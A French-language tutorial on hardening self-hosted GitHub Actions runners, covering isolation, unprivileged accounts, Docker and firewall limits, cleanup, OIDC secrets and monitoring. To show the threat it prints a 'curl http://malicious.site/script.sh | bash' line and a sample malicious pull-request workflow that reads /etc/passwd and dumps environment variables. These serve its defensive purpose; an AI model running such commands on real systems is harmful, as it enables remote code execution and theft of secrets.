Aller au contenu
CI/CD & Automatisation medium

Sécuriser les runners self-hosted

10 min de lecture

Les runners self-hosted offrent de la flexibilité mais introduisent des risques de sécurité que vous devez gérer vous-même. Ce guide présente les mesures de hardening essentielles, du compte système au nettoyage entre les jobs.

  • Identifier les risques propres aux runners self-hosted
  • Isoler les exécutions par niveau de confiance et par conteneur
  • Restreindre les permissions du compte, de Docker et du réseau
  • Nettoyer l'environnement entre chaque job
  • Protéger les secrets et surveiller les runners

Tout workflow peut exécuter du code arbitraire sur le runner :

- run: |
# Ce code s'exécute avec les droits du runner
curl http://malicious.site/script.sh | bash

Contrairement aux runners GitHub-hosted, l'environnement persiste entre les jobs :

  • Fichiers laissés par un job précédent
  • Variables d'environnement résiduelles
  • Credentials en cache

Le runner a accès au réseau où il se trouve :

  • Bases de données internes
  • APIs privées
  • Autres services
# Un attaquant peut soumettre cette PR sur un repo public
name: Malicious PR
on: pull_request
jobs:
attack:
runs-on: self-hosted # S'exécute sur VOTRE infrastructure
steps:
- run: |
# Vol de secrets, minage de crypto, etc.
cat /etc/passwd
env

L'isolation est la première ligne de défense : limiter ce qu'un job peut atteindre limite les dégâts d'un job compromis. Trois niveaux la renforcent.

# Runners pour le code de confiance (main, releases)
runs-on: [self-hosted, trusted]
# Runners pour les PRs (moins de confiance)
runs-on: [self-hosted, untrusted]
jobs:
build:
runs-on: self-hosted
container:
image: node:20-alpine
# Isolation par conteneur

Détruisez la VM après chaque job :

runs-on: [self-hosted, ephemeral]
# Le runner-scaler détruit la VM après exécution

Un runner compromis ne doit pas pouvoir grand-chose. On restreint sur trois plans : le compte système, Docker et le réseau.

Fenêtre de terminal
# Créer un utilisateur dédié sans privilèges
sudo useradd -m -s /bin/bash github-runner
sudo usermod -L github-runner # Pas de login
# Installer le runner avec cet utilisateur
sudo -u github-runner ./config.sh ...
# Pas de sudo pour le runner
# Ne jamais ajouter github-runner aux sudoers !
Fenêtre de terminal
# Utiliser rootless Docker si possible
# Ou limiter avec --security-opt
docker run --security-opt=no-new-privileges \
--cap-drop=ALL \
--read-only \
...
Fenêtre de terminal
# Firewall : limiter les connexions sortantes
iptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHub
iptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A OUTPUT -o eth0 -j DROP # Bloquer le reste

Sur un runner persistant, ce qu'un job laisse derrière lui reste disponible pour le suivant. Un nettoyage systématique évite les fuites entre jobs.

#!/bin/bash
# cleanup.sh - à exécuter après chaque job
# Supprimer les fichiers temporaires
rm -rf /tmp/* /var/tmp/*
# Nettoyer le home du runner
rm -rf /home/github-runner/.npm
rm -rf /home/github-runner/.cache
rm -rf /home/github-runner/work/*
# Nettoyer Docker
docker system prune -af
docker volume prune -f
# Supprimer les variables d'environnement personnalisées
unset $(env | grep -v '^PATH=' | cut -d= -f1)
Fenêtre de terminal
# Dans le service systemd du runner
[Service]
ExecStartPre=/opt/actions-runner/cleanup.sh
ExecStopPost=/opt/actions-runner/cleanup.sh

Les secrets ne doivent jamais résider en dur sur le runner. Voici comment les faire transiter et les manipuler sans les exposer.

# ❌ Ne pas mettre de secrets dans les scripts du runner
# ~/.bashrc avec AWS_SECRET_ACCESS_KEY = mauvaise idée
# ✅ Utiliser les secrets GitHub
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: aws s3 sync ./dist s3://bucket
Fenêtre de terminal
# Utiliser des short-lived tokens via OIDC
# Pas de credentials statiques sur le runner
# Voir /docs/pipeline-cicd/github/securite/oidc/
Fenêtre de terminal
# Monter les secrets en read-only tmpfs
mkdir -p /run/secrets
mount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secrets

Le durcissement ne suffit pas : il faut détecter une compromission. Logs d'audit et monitoring système rendent visibles les comportements anormaux.

# Activer les logs détaillés
env:
ACTIONS_RUNNER_DEBUG: true
Fenêtre de terminal
# Surveiller les processus suspects
auditctl -a always,exit -F arch=b64 -S execve -k commands
# Alerter sur les connexions sortantes inhabituelles
# (avec un outil comme Falco, osquery, etc.)

Configurez des webhooks pour être alerté des runs sur les runners self-hosted.

  • Runner sur repository privé uniquement
  • Utilisateur dédié sans privilèges sudo
  • Firewall configuré (whitelist)
  • Docker rootless ou avec restrictions
  • Logs d'audit activés
  • Mises à jour du runner et de l'OS
  • Rotation des tokens d'enregistrement
  • Revue des workflows exécutés
  • Vérification des logs d'audit
  • Runners séparés par niveau de confiance
  • Runners éphémères pour les PRs
  • Pas de secrets statiques sur les runners
  • OIDC pour l'authentification cloud

Ce workflow rassemble les mesures du guide : runner de confiance, exécution en conteneur durci, OIDC au lieu de secrets statiques et nettoyage explicite.

name: Secure Build
on:
push:
branches: [main]
# Aucun droit par défaut : le job demande le minimum
permissions: {}
jobs:
build:
runs-on: [self-hosted, linux, trusted]
permissions:
contents: read
id-token: write # Pour OIDC
container:
image: node:20-alpine
options: --read-only --security-opt=no-new-privileges
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
# OIDC au lieu de secrets statiques
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: eu-west-1
- run: npm ci
- run: npm test
- run: npm run build
# Cleanup explicite
- name: Cleanup
if: always()
run: rm -rf node_modules .npm
  • Un runner self-hosted ne va jamais sur un dépôt public : une PR de fork exécuterait du code arbitraire chez vous.
  • Isolez les exécutions : runners dédiés par niveau de confiance, conteneurs, VM éphémères.
  • Le compte du runner est sans sudo ; Docker tourne en rootless ou avec des capabilities réduites.
  • Nettoyez systématiquement entre les jobs, l'environnement persiste, contrairement aux runners hosted.
  • Pas de secrets statiques sur la machine : privilégiez OIDC et les jetons à durée de vie courte.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracking. Un soutien, même symbolique, m'aide à couvrir l'hébergement et à garder ces ressources gratuites. Merci pour votre appui.

Le formulaire ne s'affiche pas ? Ouvrir Ko-fi dans un onglet.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn